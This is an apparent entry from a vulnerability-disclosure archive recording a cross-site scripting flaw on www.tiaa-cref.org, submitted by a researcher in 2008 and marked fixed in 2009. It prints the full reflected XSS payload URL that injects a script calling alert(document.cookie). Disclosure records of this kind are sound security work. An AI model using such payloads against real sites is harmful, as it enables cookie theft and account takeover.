Security researcher holisticinfosec, has submitted on 16/11/2008 a cross-site-scripting (XSS) vulnerability affecting www.tiaa-cref.org, which at the time of submission ranked 26622 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/01/2009. It is currently fixed. |
| Date submitted: 16/11/2008 |
Date published: 09/01/2009 |
Date fixed: 09/01/2009 | Status:  FIXED |
| Author: holisticinfosec |
Domain: www.tiaa-cref.org |
Category: XSS |
Pagerank: 26622 |
|---|
URL: http://www.tiaa-cref.org/explore/portlets/search.jsp?srchtype=4&frmf=1&sc=1&query=%22%3E%3CSCRIPT%3E
alert(document.cookie)%3C%2FSCRIPT%3E&Submit.x=0&Submit.y=0&Submit=Submit |
|
Click here to view the mirror
|
|
|
| 
